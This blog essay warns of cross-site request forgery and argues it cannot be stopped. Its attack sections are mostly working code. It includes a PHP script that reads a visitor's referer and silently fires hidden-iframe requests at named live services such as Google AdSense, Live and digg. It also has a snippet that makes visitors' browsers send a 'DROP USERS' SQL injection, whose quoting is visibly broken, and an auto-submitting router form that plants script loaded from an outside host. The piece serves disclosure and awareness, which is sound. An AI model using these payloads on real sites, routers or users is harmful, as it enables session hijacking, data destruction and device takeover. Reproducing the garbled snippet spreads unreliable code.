Unauthorized Requests.

Publicated on : 1188307678
One of the the most underestimated risks of today are Cross Site Request Forgeries. CSRF is the tarpit of the internet, it is so inherently bad that almost no one even wants to understand it's ultimate potentiality. It can take this net down as we know it. But there is a far more greater truth to be realized. CSRF cannot be stopped, it has been here since the brink of the modem and facilitated the first internet worms. CSRF is not only an unauthorized request made on your behalf, it is also unauthorized requests made by networks and software without strict permission. So I really want to call for a different name, simply: Unauthorized Requests.

Usually unauthorized requests are being made by scriptable objects or languages that have 'state'. With state I mean, that it is intelligent to act and give a reply to a request made by the surfers browsers. We can determine three of them that have a high risk in actively facilitating a huge amount of control:

1. Javascript, that is able to perform complex tasks.
2. Java, that can make socket connections.
3. Flash, that can perform complex tasks with action script.

But, we have problem. Disabling those won't save you from unauthorized requests being made. Regular HTML facilitates enough to do simple tasks. This is easily demonstrated with Iframes or images that follow redirects and can make such requests.

A simple example that affected digg:

<iframe src="http://digg.com/invitefrom/0x000000" height="1" width="1"></iframe>


Referer based Unauthorized Requests.

Why not. It's so easy to do, because almost everyone sends his referer along when visiting another website. I warned many people about this and despite my efforts people continue to send it. If you have a RSS reader you probably send the referer along with it. Which could be bloglines or netvibes or Google. I know, I know, I see it in my stats daily and while this isn't a big problem it can get worse if you visit some site that isn't that nice. The reason we can make a unauthenticated request on the surfers behalf is because he send his referer to me. Now, this is interesting because we can determine with surgical precision where the surfer came from and if he or she is still logged into that service. The surfer just told me what he owns, and that can't be a good thing.

Cookie authentication let's you login without even typing a password. Google Adsense, or any other Google single signon account let's you login anywhere on the Google domain if the same session is still active. So, that means that if I am logged into Google GMail, my session is still alive which lets me to make an unauthorized request towards Google Adsense. With it, it is possible to cause real mayhem by changing your login credentials. These are not only theoretical threats, they are very much real and utterly simply and practical to launch. Remember Google Adsense is still vulnerable, and other Google services still lack adequate protection after some rigorous investigation.

I've seen referers to my site from fortune 500 companies exposing their intranet to me. Some intranet's are vulnerable too because I can make a unauthenticated request through Javascript that affects the intranet because it is loaded in the same browser context. The below examples logs you out of different services, when a referer based service is detected.

<?php

function lucky_dayz() {

$referer = htmlspecialchars($_SERVER['HTTP_REFERER'],ENT_QUOTES,'UTF-8');

$hosts = array('google','blogger','live','hi5','live','ckers','myspleen','digg');

$csrf = explode('.',$referer);

if(in_array($csrf[1],$hosts)) {

switch($csrf[1]) {

case 'google':
$url = 'https://www.google.com/adsense/gaialogout';
break;
case 'blogger':
$url = 'http://www.blogger.com/logout.g';
break;
case 'live':
$url = 'http://login.live.com/logout.srf?ct=0';
break;
case 'hi5':
$url = 'http://www.hi5.com/friend/logoff.do';
break;
case 'ckers':
$url = 'http://sla.ckers.org/forum/login.php?13,logout=1';
break;
case 'myspleen':
$url = 'http://www.myspleen.net/friends.php?action=add&type=friend';
break;
case 'digg':
$url = 'http://www.digg.com/invitefrom/0x000000';
break;
}

$lucky = '<iframe src="'.$url.'" style="display:none;"></iframe>';

} else {

$lucky = false;
}

return $lucky;
}
?>

Now what can you do about this? Well, never send the referer. You can protect yourself by disabling the referer string send by your browser. If you use Firefox you can install the "no referer" extension, or never click links anymore.

Other possible known risks:

- Intranets connected to the net
- router pharming/-reconfiguration
- worm distribution
- deleting accounts
- hijacking services

- browser specific protocol abuse:
- resource:// | chrome:// | res://

- backdoored content:
- acrobat:// | mms://


SQL Injection on your behalf

It is possible to perform cross site SQL injection on your account. Yes, you will be doing it. Your browser could inject websites as we speak. It could also gather SQL injection points and run as zombies to collect server information. The reason why this works is because an SQL injection is still made through a GET request. Of course the servers IP would be visible in the logs of the vulnerable server, but no worries we could just tunnel the request through a proxy while you act as activated zombie.To make requests on your account we could simply do this:

<?

function do() {

$random_string = " site.com/index.asp?show=0; DROP USERS--" ;

$zombify[0] = " <iframe src=" '.$random_string.'" ></iframe>"; # server IP
$zombify[1] = " <script src=" '.$random_string.'" ></script>";

echo $zombify[1];
}
?>


Hacking Routers

The Zyxel Zywall router brand is prone to CSRF as discovered by Henri Lindberg.
The exploit below shows a persistent XSS in the form of an CSRF to the router without any interference of the surfer, some router brands do not have a username and password. And did you know we already can detect your router brand by just pinging the router image? They can be accessed without any authentication, making the job far more easier.


<html>
<body onload="document.CSRF.submit()">
<FORM name="CSRF" METHOD="POST" ACTION="http://192.168.1.1/Forms/General_1">
<INPUT NAME="sysSystemName" VALUE="<script src='http://nx.fi/X'>"
<INPUT NAME="sysDomainName" VALUE="evil.com">
<INPUT NAME="StdioTimout" VALUE="0">
<INPUT NAME="sysSubmit" VALUE="Apply">
</form>
</body>
</html>

Reference: http://www.louhi.fi/advisory/zyxel_070810.txt


And to make sure that everyone understand the risks, Gareth tops off with a router scanner written in pure CSS, yes you read it correctly: scanning your router with only a stylesheet.

Conclusion

It is a sad fact that unauthorized requests will be made despite our vigilant security. The user has absolutely no power to stop or even detect them. They are near impossible to avoid. We can only limit the possible damage by restricting the rich internet experience features like JavaScript, Java and Flash. I really want to call upon browser vendors to make note of these kind of threats. They have a great power to make wise choices, and yet with great power comes great responsibility.